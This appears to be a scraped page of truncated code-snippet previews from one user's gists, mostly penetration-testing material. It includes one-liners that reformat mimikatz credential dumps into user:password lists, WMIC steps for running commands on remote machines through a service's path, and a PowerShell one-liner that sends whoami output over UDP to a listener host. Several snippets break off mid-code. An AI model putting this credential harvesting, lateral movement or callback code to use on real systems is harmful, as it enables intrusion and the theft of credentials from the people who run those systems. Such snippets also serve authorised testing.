jivoi

//Invoke-WebRequest in Powershell - manually whitelist legit content first: 
Mozilla/*WindowsPowerShell/*

System.Net.WebClient.DownloadFile():
None

//Start-BitsTransfer - manually whitelist legit content first:
Microsoft BITS/*

//certutil.exe - manually whitelist legit content first: 

jivoi

Assuming you have a mimikatz dump named "mimikatz_dump.txt", I made these bash one-liners that will reformat the mimikatz output to "domain\user:password"

First, before using these parsers, run:  "dos2unix mimikatz_dump.txt"

Mimikatz 1.0:

cat mimikatz_dump.txt  | grep -P '((Utilisateur principal)|(msv1_0)|(kerberos)|(ssp)|(wdigest)|(tspkg))\s+:\s+.+' | grep -v 'n\.' | sed -e 's/^\s\+[^:]*:\s\+//' | sed -e 's/Utilisateur principal\s\+:\s\+\(.*\)$/\n\1/' | sort -u


Mimikatz 2.0 (unfortunately, you must "apt-get install pcregrep" because reasons):

jivoi

#!/bin/bash
IF_IN="eth0"
IF_OUT="wlan0"
SUB="192.168.100"

echo "[+] Creating DHCP server config."
cat <<EOF > /etc/dhcp/dhcp.${IF_IN}.conf
option routers ${SUB}.1;
option domain-name-servers ${SUB}.1;
default-lease-time 14440;

jivoi

#!/bin/bash
IF_IN="eth0"
IF_OUT="wlan0"
SUB="192.168.100"

echo "[+] Bringing interface ${IF_IN} down"
ip addr del ${SUB}.1/24 dev ${IF_IN}
ip link set dev ${IF_IN} down

echo "[+] Removing iptable rules"

jivoi

#      ___             ___ __      __
#     /   | __  ______/ (_) /_____/ /
#    / /| |/ / / / __  / / __/ __  / 
#   / ___ / /_/ / /_/ / / /_/ /_/ /  
#  /_/  |_\__,_/\__,_/_/\__/\__,_/   
#                                    
# Linux Audit Daemon - Best Practice Configuration 
# /etc/audit/audit.rules
#
# Compiled by Florian Roth

jivoi

#!/bin/bash
python3 bot.py

jivoi

# https://github.com/NetSPI/PowerUpSQL
# Get-SQLServerLinkCrawl -verbose -instance "[ip-address]\SQLSERVER2008" -username 'guest' -password 'guest' | export-clixml c:\temp\links.xml


$List = Import-CliXml 'C:\temp\links.xml'
$Servers = $List | select name,version,path,user,sysadmin -unique | where name -ne 'broken link'
$Outnodes = @()
$Outpaths = @()
foreach($Server in $Servers){
    $Outnodes += "$([string][math]::abs($Server.Name.GetHashCode())),$($Server.Name),$($Server.Version)"

jivoi

As always, only for use on networks you own or have permission to test against. 

Similar functionality to SpiderLabs SCShell (https://github.com/SpiderLabs/SCShell) but from the command line using WMIC to run commands on other systems remotely.
If attempting to run multiple commands, SCShell will probably be move convenient as it automates the below steps.  However, for one-offs this works fine as well.

The process involves a total of four commands, three of which can be combined on the command line to form one large block.

Step 1: Get the current pathName of your target service so we can restore it once we've ran our command (in our case XblAuthManager)
    wmic /user:DOMAIN\USERNAME /password:PASSWORD /node:TARGET_IP service where name='XblAuthManager' get pathName

jivoi

# On your host:
# $ nc -lnvup 53


# Replace <HOSTIP> with ip of the listening machine
powershell -nop -c "$s=New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Dgram,[System.Net.Sockets.ProtocolType]::UDP);$s.Connect((New-Object System.Net.IPEndPoint([system.net.IPAddress]::Parse(\"<HOSTIP>\"),53)));$s.send(([System.Text.Encoding]::ASCII).GetBytes((whoami)));"

jivoi

A curated list of AWS resources to prepare for the AWS Certifications

A curated list of awesome AWS resources you need to prepare for the all 5 AWS Certifications. This gist will include: open source repos, blogs & blogposts, ebooks, PDF, whitepapers, video courses, free lecture, slides, sample test and many other resources.

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Index: